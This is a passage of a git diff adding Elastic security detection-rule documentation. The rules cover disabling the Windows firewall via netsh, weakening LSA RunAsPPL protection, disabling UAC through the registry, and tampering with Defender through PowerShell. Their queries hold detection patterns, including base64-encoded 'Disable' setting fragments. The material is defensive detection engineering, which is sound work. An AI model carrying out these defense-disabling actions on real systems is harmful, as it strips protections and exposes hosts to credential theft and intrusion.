https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "netsh.exe" and + ( + (process.args : "disable" and process.args : "firewall" and process.args : "set") or + (process.args : "advfirewall" and process.args : "off" and process.args : "state") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disabling-lsa-protection-via-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disabling-lsa-protection-via-registry-modification.asciidoc new file mode 100644 index 0000000000..10ccd07cb1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disabling-lsa-protection-via-registry-modification.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-disabling-lsa-protection-via-registry-modification]] +=== Disabling Lsa Protection via Registry Modification + +LSA protecton is provided to prevent nonprotected processes from reading memory and injecting code. This feature provides added security for the credentials that LSA stores and manages. Adversaries may modify the RunAsPPL registry and wait or initiate a system restart to enable Lsass credentials access. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disabling Lsa Protection via Registry Modification* + + + +*Possible investigation steps* + + +- Does the alert-local registry write attempt to lower LSA protection? + - Why: RunAsPPL values 1 and 2 enable protected LSASS modes; a non-enabling value under the LSA control path weakens credential protection even when live-state effect is unresolved. + - Focus: `registry.path`, `registry.value`, `registry.data.type`, and `registry.data.strings`, confirming the RunAsPPL LSA control path and non-enabling data. + - Implication: escalate or keep investigating when RunAsPPL receives a non-enabling value; treat numbered-ControlSet effect as unresolved, not benign. Lower suspicion only when verified as controlled compatibility testing on a non-production host. + +- Which process and parent made the RunAsPPL change? + - Focus: `process.executable`, `process.command_line`, `process.code_signature.subject_name`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when a user-writable binary, script host, renamed tool, unexpected signer, or unexplained parent changed RunAsPPL; lower suspicion when writer identity and parent workflow match a recognized validation, image-engineering, or compatibility toolchain. Identity alone does not clear the weakening change. + +- Does the account and session context fit a controlled LSA protection change? + - Focus: `user.id`, `user.name`, `user.domain`, `process.Ext.session_info.logon_type`, and `process.Ext.token.elevation_level`. + - Implication: escalate when the change comes from an unexpected administrator, service account, remote shell, Office lineage, or token/session context that does not fit the expected task; lower suspicion only when account, session type, and privilege context fit the same recognized host-management workflow. + +- Did the same process modify adjacent credential-protection or authentication settings? + - Focus: registry events on the same `host.id` and `process.entity_id`, especially `registry.path`, `registry.value`, and `registry.data.strings` under LSA, WDigest, security provider, or Credential Guard families. !{investigate{"description":"","label":"Registry activity by the same writer","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: filter surrounding registry events by `host.id` plus `process.entity_id`; if absent, use `host.id`, `process.pid`, and a tight event-time window. + - Implication: escalate when the writer also touches RunAsPPLBoot, LsaCfgFlags, UseLogonCredential, security packages, or similar credential-protection settings; keep scope narrower when the RunAsPPL write is isolated and registry context fits the same recognized test or build workflow. + +- Did process activity prepare to exploit the weakened setting? + - Why: a registry-only disable generally matters after reboot, so restart staging and LSASS-access preparation change urgency. + - Focus: registry-writer and child process activity on the same `host.id`, checking `process.name`, `process.executable`, and `process.command_line`; broaden to the same `user.id` only if writer-scoped activity is unresolved. !{investigate{"description":"","label":"Process activity for the registry writer","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the same lineage or user queues a reboot, launches LSASS dump tooling, invokes memory-access utilities, or stages archive commands; absence of follow-on process evidence does not close the alert because the weakened setting can be used after a later reboot. + +- If local findings remain suspicious or unresolved, does the same host show broader defense weakening or credential-access activity? + - Focus: related alerts for the same `host.id`, especially LSA-protection, LSASS-access, reboot, persistence, privilege-escalation, or credential-access alerts. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review related alerts for the same `user.id` to see whether the account is changing LSA protection or staging credential access elsewhere. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same host has aligned defense-evasion or credential-access alerts; keep handling local when related host alerts are absent and registry, writer, session, and follow-on process evidence all support one recognized workflow. + +- Escalate when registry meaning plus writer, session, adjacent-registry, reboot/LSASS-prep, or related-alert evidence shows unauthorized LSA-protection weakening; close only when telemetry proves one verified compatibility, validation, or image-engineering workflow with no contradictions; preserve evidence and escalate when telemetry is mixed or incomplete. + + +*False positive analysis* + + +- Controlled compatibility testing, security validation, image engineering, or break-fix work can lower RunAsPPL on lab, pre-production, build, or troubleshooting systems. Confirm the exact expected test value in `registry.path`, `registry.value`, and `registry.data.strings`; a matching validation or build toolchain in `process.executable`, `process.command_line`, `process.code_signature.subject_name`, `process.parent.executable`, and `user.id`; and a bounded `host.id` / `host.name` cohort. If registry meaning, writer context, session context, or host pattern is missing or contradictory, do not close as benign. +- Before creating an exception, validate recurrence of the same `process.executable`, `process.command_line`, `process.code_signature.subject_name`, `user.id`, `host.id`, and specific `registry.path` family across prior alerts from this rule. Build the exception from that minimum confirmed workflow pattern; avoid exceptions on RunAsPPL alone, `user.name` alone, or a host alone. + + +*Response and remediation* + + +- If confirmed benign, record which evidence proved the workflow: `registry.path`, `registry.data.strings`, writer identity, parent context, `user.id`, `host.id`, host cohort, and change window. Then reverse any temporary containment. Create an exception only when the same narrow pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert, registry timeline, modified RunAsPPL value (`registry.path`, `registry.data.strings`), writer command context (`process.entity_id`, `process.command_line`), parent context, account context, and any reboot or LSASS-prep command evidence before containment or cleanup. Apply reversible containment first: heightened monitoring, temporary access restrictions for the affected `user.id`, or host isolation only when dump or reboot evidence raises risk and isolation will not disrupt critical service. +- If confirmed malicious, record process and registry evidence first, then isolate the host through endpoint response when registry, writer, session, and follow-on evidence establish unauthorized protection weakening. Restore RunAsPPL to the expected enabled value, usually 1 or 2, verify adjacent LSA and security-provider settings, and confirm LSASS starts protected after the required reboot. +- If reboot or LSASS-access preparation occurred, treat resident credentials as potentially exposed, scope privileged or service accounts active on the host, and perform credential hygiene based on their exposure. +- Eradicate only the scripts, binaries, persistence changes, registry values, and dump or archive artifacts identified during the investigation, then remediate the access path that allowed the protection change. +- Retain registry and process telemetry, the final RunAsPPL state, and reboot timing so future cases can separate recurring controlled testing from repeated abuse. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings != null and process.name != null and + registry.value : "RunAsPPL" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Control\\Lsa\\RunAsPPL" and + not registry.data.strings : ("1", "0x00000001", "2", "0x00000002") and + not process.executable : "?:\\Windows\\System32\\SecurityHealthService.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disabling-user-account-control-via-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disabling-user-account-control-via-registry-modification.asciidoc new file mode 100644 index 0000000000..d1825af2e9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disabling-user-account-control-via-registry-modification.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-disabling-user-account-control-via-registry-modification]] +=== Disabling User Account Control via Registry Modification + +User Account Control (UAC) can help mitigate the impact of malware on Windows hosts. With UAC, apps and tasks always run in the security context of a non-administrator account, unless an administrator specifically authorizes administrator-level access to the system. This rule identifies registry value changes to bypass User Access Control (UAC) protection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.greyhathacker.net/?p=796 +* https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings +* https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-overview +* https://www.elastic.co/security-labs/dissecting-remcos-rat-part-four + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disabling User Account Control via Registry Modification* + + +Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as low to high integrity levels) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. UAC can deny an operation under high-integrity enforcement, or allow the user to perform the action if they are in the local administrators group and enter an administrator password when prompted. + +For more information about the UAC and how it works, check the https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works[official Microsoft docs page]. + +Attackers may disable UAC to execute code directly in high integrity. This rule identifies registry value changes to bypass the UAC protection. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behaviors in the alert timeframe. +- Investigate abnormal behaviors observed by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Analyze non-system processes executed with high integrity after UAC was disabled for unknown or suspicious processes. +- Retrieve the suspicious processes' executables and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled tasks creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore UAC settings to the desired state. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : ("EnableLUA", "ConsentPromptBehaviorAdmin", "PromptOnSecureDesktop") and + registry.data.strings : ("0", "0x00000000") + + /* + Full registry key path omitted due to data source variations: + HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA + HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin + HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\PromptOnSecureDesktop + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disabling-windows-defender-security-settings-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disabling-windows-defender-security-settings-via-powershell.asciidoc new file mode 100644 index 0000000000..6d5979f022 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disabling-windows-defender-security-settings-via-powershell.asciidoc @@ -0,0 +1,226 @@ +[[prebuilt-rule-8-19-34-disabling-windows-defender-security-settings-via-powershell]] +=== Disabling Windows Defender Security Settings via PowerShell + +Identifies use of the Set-MpPreference or Add-MpPreference PowerShell commands to disable or weaken certain Windows Defender settings, including detection of base64-encoded variants used to bypass command-line inspection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2019-ps +* https://www.elastic.co/security-labs/operation-bleeding-bear +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disabling Windows Defender Security Settings via PowerShell* + + +Microsoft Windows Defender is an antivirus product built into Microsoft Windows, which makes it popular across multiple environments. Disabling it is a common step in threat actor playbooks. + +This rule monitors the execution of commands that can tamper the Windows Defender antivirus features. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the command line to determine which action was executed. Based on that, examine exceptions, antivirus state, sample submission, etc. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity, the configuration is justified (for example, it is being used to deploy other security solutions or troubleshooting), and no other suspicious activity has been observed. + + +*Related rules* + + +- Windows Defender Disabled via Registry Modification - 2ffa1f1e-b6db-47fa-994b-1512743847eb +- Microsoft Windows Defender Tampering - fe794edd-487f-4a90-b285-3ee54f2af2d3 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Based on the command line, take actions to restore the appropriate Windows Defender antivirus configurations. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + ( + ( + process.args : ("Set-MpPreference", "Add-MpPreference") and + process.args : ("-Disable*", "Disabled", "NeverSend", "-Exclusion*") + ) or + /* base64-encoded (UTF-16LE) fragments of critical Defender settings, 3 byte-alignment offsets each */ + ( + process.command_line : ("*-e *", "*-en *", "* -enc*", "*FromBase64String*") and + process.command_line : ( + /* DisableRealtimeMonitoring */ + "*RABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", + "*QAaQBzAGEAYgBsAGUAUgBlAGEAbAB0AGkAbQBlAE0AbwBuAGkAdABvAHIAaQBuAGcAIA*", + "*EAGkAcwBhAGIAbABlAFIAZQBhAGwAdABpAG0AZQBNAG8AbgBpAHQAbwByAGkAbgBnACAA*", + /* disablerealtimemonitoring */ + "*ZABpAHMAYQBiAGwAZQByAGUAYQBsAHQAaQBtAGUAbQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", + "*QAaQBzAGEAYgBsAGUAcgBlAGEAbAB0AGkAbQBlAG0AbwBuAGkAdABvAHIAaQBuAGcAIA*", + "*kAGkAcwBhAGIAbABlAHIAZQBhAGwAdABpAG0AZQBtAG8AbgBpAHQAbwByAGkAbgBnACAA*", + /* DisableIOAVProtection */ + "*RABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIA*", + "*QAaQBzAGEAYgBsAGUASQBPAEEAVgBQAHIAbwB0AGUAYwB0AGkAbwBuACAA*", + "*EAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgA*", + /* disableioavprotection */ + "*ZABpAHMAYQBiAGwAZQBpAG8AYQB2AHAAcgBvAHQAZQBjAHQAaQBvAG4AIA*", + "*QAaQBzAGEAYgBsAGUAaQBvAGEAdgBwAHIAbwB0AGUAYwB0AGkAbwBuACAA*", + "*kAGkAcwBhAGIAbABlAGkAbwBhAHYAcAByAG8AdABlAGMAdABpAG8AbgAgA*", + /* DisableBehaviorMonitoring */ + "*RABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", + "*QAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIA*", + "*EAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAA*", + /* disablebehaviormonitoring */ + "*ZABpAHMAYQBiAGwAZQBiAGUAaABhAHYAaQBvAHIAbQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", + "*QAaQBzAGEAYgBsAGUAYgBlAGgAYQB2AGkAbwByAG0AbwBuAGkAdABvAHIAaQBuAGcAIA*", + "*kAGkAcwBhAGIAbABlAGIAZQBoAGEAdgBpAG8AcgBtAG8AbgBpAHQAbwByAGkAbgBnACAA*", + /* DisableBlockAtFirstSeen */ + "*RABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAA*", + "*QAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgA*", + "*EAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIA*", + /* disableblockatfirstseen */ + "*ZABpAHMAYQBiAGwAZQBiAGwAbwBjAGsAYQB0AGYAaQByAHMAdABzAGUAZQBuACAA*", + "*QAaQBzAGEAYgBsAGUAYgBsAG8AYwBrAGEAdABmAGkAcgBzAHQAcwBlAGUAbgAgA*", + "*kAGkAcwBhAGIAbABlAGIAbABvAGMAawBhAHQAZgBpAHIAcwB0AHMAZQBlAG4AIA*" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-discovery-command-output-written-to-suspicious-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-discovery-command-output-written-to-suspicious-file.asciidoc new file mode 100644 index 0000000000..956a2b75fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-discovery-command-output-written-to-suspicious-file.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-discovery-command-output-written-to-suspicious-file]] +=== Discovery Command Output Written to Suspicious File + +Detects when a discovery command is executed followed by the immediate modification of a suspicious file via the same process. Many types of malware execute discovery commands, save the output to a file, and then exfiltrate that file via their C2 channel. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Discovery Command Output Written to Suspicious File* + + +This rule flags a macOS discovery utility launched from an interactive shell and, within seconds, the same process writing to an unusual or hidden file location, indicating staged reconnaissance for later theft. Adversaries commonly run commands like `whoami`, `ifconfig`, `dscl`, or `system_profiler` and redirect output into `/tmp`, `/Users/Shared`, or a dotfile path to bundle host details before exfiltrating the collected text. + + +*Possible investigation steps* + + +- Review the created/modified file’s contents, size, and timestamps to confirm it contains discovery output and whether it is being appended across multiple executions. +- Pivot from the initiating process to identify subsequent child processes or shell commands that compress, encrypt, move, or delete the file, indicating staging and cleanup. +- Examine concurrent network activity from the same process tree for outbound connections, file uploads, or suspicious DNS/HTTP requests immediately after the write event. +- Validate the interactive session context by correlating to the logged-in user, terminal/TTY (if available), remote access artifacts (SSH/VPN/remote management), and recent authentication events for that account. +- Hunt on the host for related staging patterns such as additional hidden files in common drop locations, recent archive 